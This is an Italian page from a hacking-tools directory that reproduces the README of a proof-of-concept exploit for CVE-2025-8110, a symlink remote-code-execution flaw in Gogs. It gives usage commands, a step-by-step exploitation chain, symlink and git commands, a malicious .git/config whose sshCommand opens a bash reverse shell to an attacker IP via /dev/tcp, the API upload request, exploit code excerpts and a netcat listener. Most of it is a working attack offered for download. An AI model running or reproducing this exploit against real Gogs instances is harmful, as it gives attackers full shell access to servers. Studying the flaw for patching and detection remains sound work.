Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Strumenti/GitHubGitHub/joaquinrrr/cve-2025-8110
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e FormazioneStrumento di Accesso Remoto
GitHubjoaquinrrr/cve-2025-8110

CVE-2025-8110

PoC exploit per CVE-2025-8110

Vedi Repository
5103 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2025-8110

Esecuzione remota di codice tramite symlink nei repository Gogs

Realizzato da oguiii


Indice

  • Panoramica
  • Caratteristiche
  • Requisiti
  • Installazione
  • Utilizzo
  • Flusso di lavoro dell'exploit
  • Analisi tecnica
  • Dimostrazione del proof of concept
  • Versioni interessate
  • Mitigazione
  • Rilevamento
  • Esclusione di responsabilità
  • Licenza

Panoramica

CVE-2025-8110 è una vulnerabilità critica in Gogs che consente a utenti autenticati di ottenere l'esecuzione remota di codice manipolando i symlink nei repository. Questo proof of concept dimostra l'intera catena di sfruttamento, dall'autenticazione fino all'ottenimento di una reverse shell.

La vulnerabilità esiste perché Gogs segue i symlink durante la gestione dei file dei repository tramite la propria API, consentendo a un utente malintenzionato di leggere e modificare file sensibili come .git/config. Iniettando una direttiva sshCommand malevola, è possibile eseguire comandi di sistema arbitrari con i privilegi dell'account di servizio di Gogs.

Punteggio CVSS: 7.2 (Alto)
Vettore di attacco: Rete
Autenticazione richiesta: Sì
Interazione utente: Nessuna
Impatto: Compromissione completa del sistema


Caratteristiche

  • Estrazione automatica del token CSRF con molteplici metodi di fallback
  • Gestione delle sessioni e dell'autenticazione
  • Creazione automatica del repository con parametri configurabili
  • Flusso di sfruttamento basato su symlink
  • Generazione del payload della reverse shell
  • Supporto proxy per debug e analisi
  • Logging dettagliato e gestione degli errori
  • Output console colorato per una migliore leggibilità
  • Modalità verbosa per la risoluzione dei problemi

Requisiti

Requisiti di sistema

  • Python 3.6 o superiore
  • Git installato e accessibile nel PATH
  • Accesso di rete all'istanza Gogs di destinazione

Dipendenze Python

requests>=2.28.0
beautifulsoup4>=4.11.0
rich>=13.0.0
urllib3>=1.26.0

Installazione

Clonazione e configurazione

git clone https://github.com/oguiii/CVE-2025-8110.git
cd CVE-2025-8110
pip install -r requirements.txt

Struttura del progetto

CVE-2025-8110/
├── CVE-2025-8110.py    # Main exploit script
├── requirements.txt    # Python dependencies
└── README.md          # Documentation

Utilizzo

Opzioni della riga di comando

OpzioneDescrizioneObbligatorio
-u, --urlURL di base di Gogs (es. https://gogs.example.com)Sì
-lh, --hostIndirizzo IP dell'attaccante per la reverse shellSì
-lp, --portPorta dell'attaccante per la reverse shellSì
-U, --usernameNome utente GogsSì
-P, --passwordPassword GogsSì
-x, --proxyAbilita proxy (localhost:8080)No
-v, --verboseAbilita output verbosoNo

Utilizzo di base

python3 CVE-2025-8110.py -u https://target-gogs.local -lh 10.10.14.15 -lp 4444 -U admin -P password123

Con proxy per il debug

python3 CVE-2025-8110.py -u https://target-gogs.local -lh 10.10.14.15 -lp 4444 -U admin -P password123 -x

Modalità verbosa per la risoluzione dei problemi

python3 CVE-2025-8110.py -u https://target-gogs.local -lh 10.10.14.15 -lp 4444 -U admin -P password123 -v

Flusso di lavoro dell'exploit

┌─────────────────────────────────────────────────────────────────────────────┐
│                    CVE-2025-8110 Exploitation Chain                        │
└─────────────────────────────────────────────────────────────────────────────┘

Step 1: Authentication
├── Navigate to /user/login
├── Extract CSRF token from login page
├── Submit credentials with CSRF token
└── Establish authenticated session

Step 2: Application Token Generation
├── Navigate to /user/settings/applications
├── Extract CSRF token from settings page
├── Generate new application token
└── Extract token from response

Step 3: Malicious Repository Creation
├── Create repository via API with auto_init
├── Generate random repository name
└── Obtain repository URL

Step 4: Symlink Upload
├── Clone repository locally
├── Create symlink pointing to .git/config
├── Add, commit, and push changes
└── Verify successful upload

Step 5: RCE Exploitation
├── Craft malicious .git/config with sshCommand
├── Base64 encode configuration content
├── Upload via API to symlink target
└── Trigger command execution

Step 6: Reverse Shell
├── Connection established to attacker host
├── Interactive shell access
└── Command execution on target

Analisi tecnica

Causa principale della vulnerabilità

Gogs non riesce a sanificare adeguatamente la traversata dei symlink quando gestisce i file dei repository tramite la propria API. Quando un file viene acceduto tramite l'endpoint API, Gogs segue i symlink senza validazione, consentendo l'accesso a file sensibili al di fuori della directory del repository.

Dettagli del vettore di attacco

  1. Creazione del symlink

    ln -s .git/config malicious_link
    git add malicious_link
    git commit -m "Add symlink"
    git push origin master
    
  2. Configurazione malevola

    [core]
        repositoryformatversion = 0
        filemode = true
        bare = false
        logallrefupdates = true
        ignorecase = true
        precomposeunicode = true
        sshCommand = bash -c 'bash -i >& /dev/tcp/10.10.14.15/4444 0>&1'
    
  3. Sfruttamento tramite API

    PUT /api/v1/repos/{username}/{repo}/contents/malicious_link
    Authorization: token {application_token}
    {
      "message": "Exploit CVE-2025-8110",
      "content": "base64_encoded_config"
    }
    

Analisi del codice

Estrazione del token CSRF

def extract_csrf(html_text):
    """Parse CSRF token from hidden input with multiple fallback methods."""
    # Method 1: Input with name _csrf
    soup = BeautifulSoup(html_text, "html.parser")
    token_input = soup.select_one("input[name='_csrf']")
    if token_input and token_input.get("value"):
        return token_input.get("value")
    
    # Method 2: Input with name csrf_token
    token_input = soup.select_one("input[name='csrf_token']")
    if token_input and token_input.get("value"):
        return token_input.get("value")
    
    # Method 3: Meta tag with CSRF
    meta_tag = soup.find("meta", {"name": "_csrf"})
    if meta_tag and meta_tag.get("content"):
        return meta_tag.get("content")
    
    # Method 4: Regex pattern in script tags
    pattern = r'"csrf_token"\s*:\s*"([^"]+)"'
    match = re.search(pattern, html_text)
    if match:
        return match.group(1)
    
    # Method 5: Regex for hidden input
    pattern = r'<input[^>]*name="[_-]csrf"[^>]*value="([^"]+)"'
    match = re.search(pattern, html_text, re.IGNORECASE)
    if match:
        return match.group(1)
    
    raise ValueError("CSRF token not found in form response")

Iniezione della configurazione malevola

git_config = f"""[core]
        repositoryformatversion = 0
        filemode = true
        bare = false
        logallrefupdates = true
        ignorecase = true
        precomposeunicode = true
  sshCommand = {command}
[remote "origin"]
        url = git@localhost:gogs/{repo_name}.git
        fetch = +refs/heads/*:refs/remotes/origin/*
[branch "master"]
        remote = origin
        merge = refs/heads/master
"""

Dimostrazione del proof of concept

Configurazione dell'attacco

# Attacker machine (10.10.14.15)
nc -lvnp 4444
Listening on [0.0.0.0] (family 0, port 4444)

# Execute exploit
python3 CVE-2025-8110.py -u https://gogs.internal.local -lh 10.10.14.15 -lp 4444 -U admin -P SecurePass123
Scarica lo strumento